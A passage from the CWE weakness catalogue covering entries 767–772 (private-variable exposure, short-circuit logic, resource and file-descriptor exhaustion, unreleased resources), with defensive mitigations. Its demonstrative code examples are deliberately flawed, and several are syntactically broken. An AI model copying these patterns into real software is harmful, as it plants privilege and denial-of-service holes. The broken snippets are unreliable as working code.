<td>ChildOf</td>
<td>✅</td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✅</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Failure to protect stored data from modification</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ01-J</td>
<td>Declare data members as private and provide accessible wrapper methods</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP28</td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>
CWE-767: Access to Critical Private Variable via Public Method

Weakness ID: 767 (Weakness Variant)  Status: Incomplete

Description

Summary
The software defines a public method that reads or modifies a private variable.

Extended Description
If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• C++
• C#
• Java

Common Consequences
Integrity
Other
Modify application data
Other

Likelihood of Exploit
Low to Medium

Demonstrative Examples

Example 1:
The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

C++ Example:  
```cpp
private: float price;
public: void changePrice(float newPrice) {
    price = newPrice;
}
```

Example 2:
The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

Java Example:  
```java
public class Client {
    private int UID;
    public int PID;
    private String userName;
    public Client(String userName){
        PID = getDefaultProfileID();
        UID = mapUserNameToUID( userName );
        this.userName = userName;
    }
    public void setPID(int ID) {
        UID = ID;
    }
}
```
The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo, accidentally specified the critical variable UID instead. If the program allows profile IDs to
be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

Potential Mitigations

Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Failure to protect stored data from modification</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Maintenance Notes

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

CWE-768: Incorrect Short Circuit Evaluation

Weakness ID: 768 (Weakness Variant) Status: Incomplete

Description

Summary

The software contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the software's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

Time of Introduction

- Implementation

Common Consequences

Confidentiality

Integrity

Availability

Widely varied consequences are possible if an attacker is aware of an unexpected state in the software after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.

Likelihood of Exploit

Very Low

Demonstrative Examples
The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with i == 1, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.

C Example:

```c
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
    int privileges;
    int id;
} user_t;
user_t *Add-Regular-Users(int num_users){
    user_t *users = (user_t*)calloc(num_users, sizeof(user_t));
    int i = num_users;
    while( --i && (users[i].privileges = PRIV_REGULAR) ){
        users[i].id = i;
    }
    return users;
}
int main(){
    user_t* test;
    int i;
    test = Add-Regular-Users(25);
    for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.

**Potential Mitigations**

**Implementation**

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>871</td>
<td>CERT C++ Secure Coding Section 03 - Expressions (EXP)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Failure to protect stored data from modification</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>EXP02-CPP</td>
<td>Be aware of the short-circuit behavior of the logical AND and OR operators</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

### CWE-769: File Descriptor Exhaustion

**Category ID: 769 (Category)**

**Status: Incomplete**

**Description**

**Summary**

The software can be influenced by an attacker to open more files than are supported by the system.

**Extended Description**
There are at least three distinct scenarios which can commonly lead to file descriptor exhaustion:
- Lack of throttling for the number of open file descriptors
- Losing all references to a file descriptor before reaching the shutdown stage
- Not closing file descriptors after processing

**Time of Introduction**
- Architecture and Design
- Implementation

**Likelihood of Exploit**
Low to Medium

**Potential Mitigations**

**Implementation**
- Architecture and Design
  If file I/O is being supported by an application for multiple users, balancing the resource allotment across the group may help to prevent exhaustion as well as differentiate malicious activity from an insufficient resource pool.
- Implementation
  Consider using the getrlimit() function included in the sys/resources library in order to determine how many files are currently allowed to be opened for the process.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>773</td>
<td>Missing Reference to Active File Descriptor or Handle</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1190</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>774</td>
<td>Allocation of File Descriptors or Handles Without Limits or Throttling</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1191</td>
</tr>
<tr>
<td></td>
<td></td>
<td>775</td>
<td>Missing Release of File Descriptor or Handle after Effective Lifetime</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
</tbody>
</table>

**References**

---

**CWE-770: Allocation of Resources Without Limits or Throttling**

**Weakness ID:** 770 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on how many resources can be allocated, in violation of the intended security policy for that actor.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation
- System Configuration

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**
Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: resource consumption (other)
When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.

Likelihood of Exploit
Medium to High

Detection Methods
Manual Static Analysis
Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing
Opportunistic
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.
When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis
Specialized configuration or tuning may be required to train automated tools to recognize this weakness.
Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Demonstrative Examples
Example 1:
This code allocates a socket and forks each time it receives a new connection.

C/C++ Example:  
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of
connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

**Example 2:**
In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

**C/C++ Example:**

```c
int writeDataFromSocketToFile(char *host, int port) {
  char filename[FILENAME_SIZE];
  char buffer[BUFFER_SIZE];
  int socket = openSocketConnection(host, port);
  if (socket < 0) {
    printf("Unable to open socket connection");
    return(FAIL);
  }
  if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
    if (openFileToWrite(filename) > 0) {
      while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
        if (!(writeToFile(buffer) > 0))
          break;
      }
    }
    closeFile();
  }
  closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients’ ability to access the service.

**Example 3:**
In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

**C/C++ Example:**

```c
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message) {
  char *body;
  int length = getMessageLength(message[0]);
  if (length > 0) {
    body = &message[1][0];
    processMessageBody(body);
    return(SUCCESS);
  } else {
    printf("Unable to process message; invalid message length");
    return(FAIL);
  }
}
```
This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check. Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

C/C++ Example:

```c
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Java Example:

```java
public void acceptConnections() {
  try {
    ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
    int counter = 0;
    boolean hasConnections = true;
    while (hasConnections) {
      Socket client = serverSocket.accept();
      Thread t = new Thread(new ClientSocketThread(client));
      t.setName(client.getInetAddress().getHostName() + ":" + counter++);
      t.start();
      serverSocket.close();
    } catch (IOException ex) {...}
  }
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Java Example:

```java
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
  try {
    ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
    int counter = 0;
    boolean hasConnections = true;
    while (hasConnections) {
      hasConnections = checkForMoreConnections();
      Socket client = serverSocket.accept();
      Thread t = new Thread(new ClientSocketThread(client));
      t.setName(client.getInetAddress().getHostName() + ":" + counter++);
      ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
      pool.execute(t);
      serverSocket.close();
    } catch (IOException ex) {...}
  }
```
An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

**References**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-4650</td>
<td>CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion.</td>
</tr>
<tr>
<td>CVE-2008-1700</td>
<td>Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.</td>
</tr>
<tr>
<td>CVE-2008-5180</td>
<td>Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.</td>
</tr>
<tr>
<td>CVE-2009-2054</td>
<td>Product allows exhaustion of file descriptors when processing a large number of TCP packets.</td>
</tr>
<tr>
<td>CVE-2009-2540</td>
<td>Large integer value for a length property in an object causes a large amount of memory allocation.</td>
</tr>
<tr>
<td>CVE-2009-2726</td>
<td>Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.</td>
</tr>
<tr>
<td>CVE-2009-4017</td>
<td>Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

**Architecture and Design**
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

**Architecture and Design**
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

This will only be applicable to cases where user input can influence the size or frequency of resource allocations.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design
Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, he may be able to prevent the user from accessing the server in question.

The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

Architecture and Design
Ensure that protocols have specific limits of scale placed on them.

Architecture and Design
Implementation
If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternatively, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Ensure that all failures in resource allocation place the system into a safe posture.
Operation
Architecture and Design
Limit Resource Consumption
Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Theoretical Notes
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO04-J</td>
<td>Close resources when they are no longer needed</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER12-J</td>
<td>Avoid memory and resource leaks during serialization</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC05-J</td>
<td>Do not exhaust heap space</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM12-CPP</td>
<td>Do not assume infinite heap space</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO42-CPP</td>
<td>Ensure files are properly closed when they are no longer needed</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>82</td>
<td>Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))</td>
</tr>
<tr>
<td>99</td>
<td>XML Parser Attack</td>
</tr>
<tr>
<td>121</td>
<td>Exploit Test APIs</td>
</tr>
<tr>
<td>125</td>
<td>Flooding</td>
</tr>
<tr>
<td>130</td>
<td>Excessive Allocation</td>
</tr>
</tbody>
</table>
CAPEC-ID | Attack Pattern Name | (CAPEC Version 2.10)
--- | --- | ---
147 | XML Ping of the Death | 
197 | XML Entity Expansion | 
229 | XML Attribute Blowup | 
230 | XML Nested Payloads | 
231 | XML Oversized Payloads | 
469 | HTTP DoS | 

References

Maintenance Notes
"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

CWE-771: Missing Reference to Active Allocated Resource
Weakness ID: 771 (Weakness Base) Status: Incomplete
Description
Summary
The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

Extended Description
This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

Time of Introduction
• Architecture and Design
• Implementation

Common Consequences
Availability
DoS: resource consumption (other)
When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

Likelihood of Exploit
Medium to High

Potential Mitigations
CWE Version 2.11
CWE-772: Missing Release of Resource after Effective Lifetime

Operation
Architecture and Design
Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>699</td>
<td>689</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
<td>888</td>
<td>1389</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>773</td>
<td>Missing Reference to Active File Descriptor or Handle</td>
<td>1000</td>
<td>1190</td>
</tr>
</tbody>
</table>

Theoretical Notes

Vulnerability theory is largely about how behaviors and resources interact. “Resource exhaustion” can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP14</td>
<td>Failure to release resource</td>
</tr>
</tbody>
</table>

Maintenance Notes

“Resource exhaustion” (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID: 772 (Weakness Base)  Status: Incomplete

Description

Summary

The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Architectural Paradigms

• Mobile Application

Common Consequences
Availability
DoS: resource consumption (other)
When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

Likelihood of Exploit
Medium to High

Demonstrative Examples

Example 1:
The following code attempts to process a file by reading it in line by line until the end has been reached.

Java Example:
```java
private void processFile(string fName)
{
    BufferedReader in = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = in.readLine()) != null)
    {
        processLine(line);
    }
}
```

The problem with the above code is that it never closes the file handle it opens. The Finalize() method for BufferedReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example 2:
The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

C# Example:
```csharp
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3:
The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Java Example:
```java
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

Example 4:
This code attempts to open a connection to a database and catches any exceptions that may occur.
Java Example:

```java
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 5:
Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

C# Example:

```csharp
... 
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
... 
```

Example 6:
The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

C Example:

```c
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1127</td>
<td>Does not shut down named pipe connections if malformed data is sent.</td>
</tr>
<tr>
<td>CVE-2001-0830</td>
<td>Sockets not properly closed when attacker repeatedly connects and disconnects from server.</td>
</tr>
<tr>
<td>CVE-2002-1372</td>
<td>Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-772: Missing Release of Resource after Effective Lifetime

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-0897</td>
<td>Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.</td>
</tr>
<tr>
<td>CVE-2007-4103</td>
<td>Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.</td>
</tr>
<tr>
<td>CVE-2008-2122</td>
<td>Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.</td>
</tr>
<tr>
<td>CVE-2009-2054</td>
<td>Product allows exhaustion of file descriptors when processing a large number of TCP packets.</td>
</tr>
<tr>
<td>CVE-2009-2858</td>
<td>Chain: memory leak (CWE-404) leads to resource exhaustion.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**

**Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

**Implementation**

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

**Operation**

**Architecture and Design**

**Limit Resource Consumption**

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>867</td>
